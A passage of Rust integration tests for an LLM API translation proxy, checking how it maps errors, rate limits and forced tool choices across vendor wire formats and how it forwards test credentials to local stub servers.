"count-gemini-model.toml",
&format!(
r#"
schema_version = 1
id = "count-gemini-model"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--model",
"gemini-override",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.0-flash:countTokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("totalTokens"),
"proxy should return the count body, got: {resp}"
);
}
#[test]
fn proxy_count_cross_wire_does_not_call_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
upstream.set_nonblocking(true).expect("nonblocking");
let upstream_addr = upstream.local_addr().expect("addr");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"count-cross.toml",
&format!(
r#"
schema_version = 1
id = "count-cross"
wire = "responses"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/responses"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages/count_tokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
match upstream.accept() {
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {}
other => panic!("upstream must not be contacted, got {other:?}"),
}
assert!(resp.contains("501"), "expected 501, got: {resp}");
assert!(
resp.contains("not mapped"),
"expected not mapped, got: {resp}"
);
}
#[test]
fn proxy_count_vertex_raw_predict_has_no_count_endpoint() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
upstream.set_nonblocking(true).expect("nonblocking");
let upstream_addr = upstream.local_addr().expect("addr");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"count-vertex.toml",
&format!(
r#"
schema_version = 1
id = "count-vertex"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/projects/p/locations/l/publishers/anthropic/models/m:rawPredict"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages/count_tokens HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
match upstream.accept() {
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {}
other => panic!("upstream must not be contacted, got {other:?}"),
}
assert!(resp.contains("501"), "expected 501, got: {resp}");
assert!(
resp.contains("no count endpoint"),
"expected no count endpoint, got: {resp}"
);
}
#[test]
fn proxy_forwards_upstream_error_on_cross_dialect() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"max_tokens\""),
"messages encode must send max_tokens, got: {req}"
);
let body = r#"{"type":"error","error":{"type":"invalid_request_error","message":"missing max_tokens"}}"#;
let resp = format!(
"HTTP/1.1 400 Bad Request\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"claude-proxy.toml",
&format!(
r#"
schema_version = 1
id = "claude-proxy"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"claude-haiku-4-5","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("400") && resp.contains("missing max_tokens"),
"cross-dialect must forward upstream 400, not 501, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"must not hide the vendor error behind 501, got: {resp}"
);
}
#[test]
fn proxy_maps_converse_400_into_chat_error() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"__type":"ValidationException","message":"The provided model identifier is invalid."}"#;
let resp = format!(
"HTTP/1.1 400 Bad Request\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-proxy.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-proxy"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(resp.contains("400"), "expected 400, got: {resp}");
assert!(
resp.contains("The provided model identifier is invalid."),
"expected the vendor message, got: {resp}"
);
assert!(
resp.contains("\"error\""),
"expected a Chat error, got: {resp}"
);
assert!(
!resp.contains("__type"),
"Converse __type must not reach a Chat host, got: {resp}"
);
}
#[test]
fn proxy_keeps_same_wire_converse_400_raw() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"__type":"ValidationException","message":"The provided model identifier is invalid."}"#;
let resp = format!(
"HTTP/1.1 400 Bad Request\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-proxy.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-proxy"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("__type"),
"same-wire Converse 400 must stay raw, got: {resp}"
);
assert!(
resp.contains("The provided model identifier is invalid."),
"same-wire Converse 400 must keep the vendor message, got: {resp}"
);
}
#[test]
fn proxy_cross_wire_responses_failed_is_chat_error() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(req.contains("POST /v1/responses"), "upstream path: {req}");
let body = r#"{"id":"resp_1","object":"response","status":"failed","error":{"code":"rate_limit_exceeded","message":"please wait"},"output":[]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"responses-proxy.toml",
&format!(
r#"
schema_version = 1
id = "responses-proxy"
wire = "responses"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/responses"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("rate_limit_exceeded") && resp.contains("please wait"),
"empty Responses failure must reach the Chat client, got: {resp}"
);
assert!(
!resp.contains("finish_reason"),
"blank completion must not look successful, got: {resp}"
);
assert!(
resp.starts_with("HTTP/1.1 429"),
"a rate limit inside HTTP 200 must be retried, got: {resp}"
);
}
struct ProxyExchange<'a> {
profile_id: &'a str,
wire: &'a str,
chat_path: Option<&'a str>,
from: &'a str,
extra_args: &'a [&'a str],
request_path: &'a str,
request_body: &'a str,
upstream_body: &'a str,
upstream_content_type: &'a str,
}
fn proxy_http_exchange(spec: ProxyExchange<'_>) -> (String, String, String) {
let ProxyExchange {
profile_id,
wire,
chat_path,
from,
extra_args,
request_path,
request_body,
upstream_body,
upstream_content_type,
} = spec;
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let (tx, rx) = std::sync::mpsc::channel::<String>();
let upstream_body = upstream_body.to_string();
let upstream_content_type = upstream_content_type.to_string();
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]).to_string();
let _ = tx.send(req);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: {upstream_content_type}\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{upstream_body}",
upstream_body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let chat_line = match chat_path {
Some(path) => format!("chat_path = \"{path}\"\n"),
None => String::new(),
};
let dir = unique_scratch();
let profile = write_profile(
&dir,
"exchange.toml",
&format!(
"schema_version = 1\nid = \"{profile_id}\"\nwire = \"{wire}\"\nauth_scheme = \"none\"\nbase_url = \"http://{upstream_addr}\"\n{chat_line}"
),
);
let (_home, mut cmd) = isolated_home();
let mut args = vec![
"proxy".to_string(),
"--listen".into(),
"127.0.0.1:0".into(),
"--from".into(),
from.to_string(),
];
args.extend(extra_args.iter().map(|arg| (*arg).to_string()));
args.push("--profile".into());
args.push(profile.to_str().expect("utf8").to_string());
let mut child = cmd
.args(&args)
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let req = format!(
"POST {request_path} HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{request_body}",
request_body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
let _ = child
.stderr
.take()
.expect("stderr")
.read_to_string(&mut err);
upstream_thread.join().expect("upstream");
let upstream_req = rx.recv().expect("upstream request");
(resp, upstream_req, err)
}
#[test]
fn proxy_same_wire_chat_error_is_http_400() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "chat-err",
wire: "chat-completions",
chat_path: Some("/v1/chat/completions"),
from: "chat",
extra_args: &[],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"error":{"message":"please wait","type":"rate_limit_error","code":"rate_limit_exceeded"}}"#,
upstream_content_type: "application/json",
});
assert!(resp.starts_with("HTTP/1.1 429"), "{resp}");
assert!(resp.contains("please wait"), "{resp}");
assert!(resp.contains("rate_limit_error"), "{resp}");
assert!(resp.contains("rate_limit_exceeded"), "{resp}");
assert!(!resp.contains("finish_reason"), "{resp}");
}
#[test]
fn proxy_same_wire_chat_choices_stay_http_200() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "chat-choice",
wire: "chat-completions",
chat_path: Some("/v1/chat/completions"),
from: "chat",
extra_args: &[],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"choices":[{"message":{"role":"assistant","content":"Hi"},"finish_reason":"stop"}],"error":{"message":"please wait","type":"rate_limit_error"}}"#,
upstream_content_type: "application/json",
});
assert!(resp.starts_with("HTTP/1.1 200"), "{resp}");
assert!(resp.contains("Hi"), "{resp}");
assert!(resp.contains("finish_reason"), "{resp}");
}
fn upstream_json(req: &str) -> serde_json::Value {
let body = req.split("\r\n\r\n").nth(1).unwrap_or("");
serde_json::from_str(body).unwrap_or_else(|err| panic!("{err} in {req}"))
}
const MESSAGES_PONG: &str = r#"{"id":"msg_1","type":"message","role":"assistant","model":"claude-opus-5-5","content":[{"type":"text","text":"pong"}],"stop_reason":"end_turn","usage":{"input_tokens":1,"output_tokens":1}}"#;
#[test]
fn proxy_same_wire_messages_keeps_forced_tool_on_opus_55() {
let (resp, upstream, err) = proxy_http_exchange(ProxyExchange {
profile_id: "opus-same",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "messages",
extra_args: &["--dump-loss"],
request_path: "/v1/messages",
request_body: r#"{"model":"claude-opus-5-5","max_tokens":16,"tool_choice":{"type":"tool","name":"get_weather","disable_parallel_tool_use":true},"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: MESSAGES_PONG,
upstream_content_type: "application/json",
});
let body = upstream_json(&upstream);
assert_eq!(
body["tool_choice"]["type"], "tool",
"same-wire must leave type tool, got {upstream}"
);
assert_eq!(body["tool_choice"]["name"], "get_weather", "{upstream}");
assert_eq!(
body["tool_choice"]["disable_parallel_tool_use"], true,
"{upstream}"
);
assert!(
!upstream.contains("model forces tool_choice auto"),
"{upstream}"
);
assert!(
!err.contains("model forces tool_choice auto"),
"dump-loss must not claim a same-wire rewrite, got {err}"
);
assert!(resp.contains("pong"), "{resp}");
}
#[test]
fn proxy_chat_forced_tool_on_opus_55_is_sent_as_auto() {
let (resp, upstream, err) = proxy_http_exchange(ProxyExchange {
profile_id: "opus-cross",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "chat",
extra_args: &["--dump-loss"],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"claude-opus-5-5","messages":[{"role":"user","content":"hi"}],"tool_choice":{"type":"function","function":{"name":"get_weather"}},"parallel_tool_calls":false}"#,
upstream_body: MESSAGES_PONG,
upstream_content_type: "application/json",
});
let body = upstream_json(&upstream);
assert_eq!(body["tool_choice"]["type"], "auto", "{upstream}");
assert!(body["tool_choice"].get("name").is_none(), "{upstream}");
assert_eq!(
body["tool_choice"]["disable_parallel_tool_use"], true,
"{upstream}"
);
assert!(
!upstream.contains("model forces tool_choice auto"),
"the loss line stays off the upstream body, got {upstream}"
);
assert!(
err.contains("degrade sampling.tool_choice: model forces tool_choice auto"),
"dump-loss must name the degrade, got {err}"
);
assert!(!resp.contains("model forces tool_choice auto"), "{resp}");
assert!(resp.contains("pong"), "{resp}");
}
#[test]
fn proxy_chat_forced_tool_on_haiku_stays_named() {
let (_resp, upstream, err) = proxy_http_exchange(ProxyExchange {
profile_id: "haiku-cross",
wire: "messages",
chat_path: Some("/v1/messages"),
from: "chat",
extra_args: &["--dump-loss"],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"claude-haiku-4-5","messages":[{"role":"user","content":"hi"}],"tool_choice":{"type":"function","function":{"name":"get_weather"}}}"#,
upstream_body: MESSAGES_PONG,
upstream_content_type: "application/json",
});
let body = upstream_json(&upstream);
assert_eq!(body["tool_choice"]["type"], "tool", "{upstream}");
assert_eq!(body["tool_choice"]["name"], "get_weather", "{upstream}");
assert!(
!err.contains("model forces tool_choice auto"),
"Haiku must keep the forced tool, got {err}"
);
}
#[test]
fn proxy_responses_failed_message_is_vendor_error() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "responses-failed-text",
wire: "responses",
chat_path: Some("/v1/responses"),
from: "responses",
extra_args: &[],
request_path: "/v1/responses",
request_body: r#"{"model":"gpt-4o","stream":true,"input":"hi"}"#,
upstream_body: "data: {\"type\":\"response.failed\",\"response\":{\"status\":\"failed\",\"output\":[{\"type\":\"message\",\"content\":[{\"type\":\"output_text\",\"text\":\"Hi\"}]}],\"error\":{\"code\":\"server_error\",\"message\":\"please wait\"}}}\n\n",
upstream_content_type: "text/event-stream",
});
assert!(
resp.contains("please wait"),
"proxy must return the vendor message"
);
assert!(
!resp.contains("Hi"),
"proxy must not forward the dropped message text"
);
}
#[test]
fn proxy_same_wire_stream_error_stays_http_200() {
let (resp, _, _) = proxy_http_exchange(ProxyExchange {
profile_id: "chat-stream-err",
wire: "chat-completions",
chat_path: Some("/v1/chat/completions"),
from: "chat",
extra_args: &[],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"gpt-4o","stream":true,"messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"error":{"message":"please wait","type":"rate_limit_error","code":"rate_limit_exceeded"}}"#,
upstream_content_type: "application/json",
});
assert!(resp.starts_with("HTTP/1.1 200"), "{resp}");
assert!(resp.contains("event: error"), "{resp}");
assert!(resp.contains("please wait"), "{resp}");
}
#[test]
fn proxy_gemini_error_object_is_http_400() {
let (resp, req, _) = proxy_http_exchange(ProxyExchange {
profile_id: "gemini-err",
wire: "gemini",
chat_path: Some("/v1beta/models/{model}:generateContent"),
from: "chat",
extra_args: &[],
request_path: "/v1/chat/completions",
request_body: r#"{"model":"gemini-2.0-flash","messages":[{"role":"user","content":"hi"}]}"#,
upstream_body: r#"{"error":{"status":"RESOURCE_EXHAUSTED","message":"please wait"}}"#,
upstream_content_type: "application/json",
});
assert!(req.contains(":generateContent"), "{req}");
assert!(resp.starts_with("HTTP/1.1 429"), "{resp}");
assert!(resp.contains("please wait"), "{resp}");
assert!(resp.contains("RESOURCE_EXHAUSTED"), "{resp}");
assert!(!resp.contains("\"choices\""), "{resp}");
}
#[test]
fn proxy_sends_access_env_bearer() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.to_ascii_lowercase()
.contains("authorization: bearer xai-proxy-must-send"),
"upstream must see access_env bearer, got: {req}"
);
let body = r#"{"id":"chatcmpl-auth","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"xai-env.toml",
&format!(
r#"
schema_version = 1
id = "xai-env"
wire = "chat-completions"
auth_scheme = "bearer"
access_env = ["XAI_API_KEY", "GROK_API_KEY"]
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.env("XAI_API_KEY", "xai-proxy-must-send")
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"grok-4","stream":false,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("chatcmpl-auth") && resp.contains("pong"),
"proxy should return upstream completion, got: {resp}"
);
}
#[test]
fn proxy_sends_header_credential_without_oauth() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]).to_string();
let body = r#"{"id":"chatcmpl-header","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
req
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"header.toml",
&format!(
r#"
schema_version = 1
id = "header-key"
wire = "chat-completions"
auth_scheme = "bearer"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
[headers]
Authorization = "Bearer header-secret"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let seen = upstream_thread.join().expect("upstream");
assert!(
seen.to_ascii_lowercase()
.contains("authorization: bearer header-secret"),
"upstream must see the header credential"
);
assert!(
resp.starts_with("HTTP/1.1 200") && resp.contains("pong"),
"header credential must not be a 401"
);
}
#[test]
fn proxy_uses_oauth_file_written_after_startup() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]).to_string();
let body = r#"{"id":"chatcmpl-late","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
req
});
let (home, mut cmd) = isolated_home();
let creds_path = home.path().join("late-creds.json");
let creds_unix = creds_path.to_string_lossy().replace('\\', "/");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"late.toml",
&format!(
r#"
schema_version = 1
id = "late-oauth"
wire = "chat-completions"
auth_scheme = "bearer"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
[oauth]
token_url = "http://127.0.0.1:9/token"
client_id = "late-client"
creds_format = "json-pointer"
creds_path = "{creds_unix}"
access_token_ptr = "/access"
refresh_token_ptr = "/refresh"
expires_ptr = "/exp"
expires_unit = "s"
login = "none"
"#
),
);
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#;
let request = |listen: std::net::SocketAddr| {
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
resp
};
let first = request(listen);
assert!(
first.starts_with("HTTP/1.1 401"),
"missing creds file is unauthorized"
);
std::fs::write(
&creds_path,
r#"{"access":"late-token","refresh":"rt","exp":4102444800}"#,
)
.expect("write creds");
let second = request(listen);
let _ = child.kill();
let _ = child.wait();
let seen = upstream_thread.join().expect("upstream");
assert!(
seen.contains("Bearer late-token"),
"second request must send the token written after startup"
);
assert!(
second.starts_with("HTTP/1.1 200") && second.contains("pong"),
"late credential must succeed without a restart"
);
}
#[test]
fn proxy_token_endpoint_outage_is_bad_gateway() {
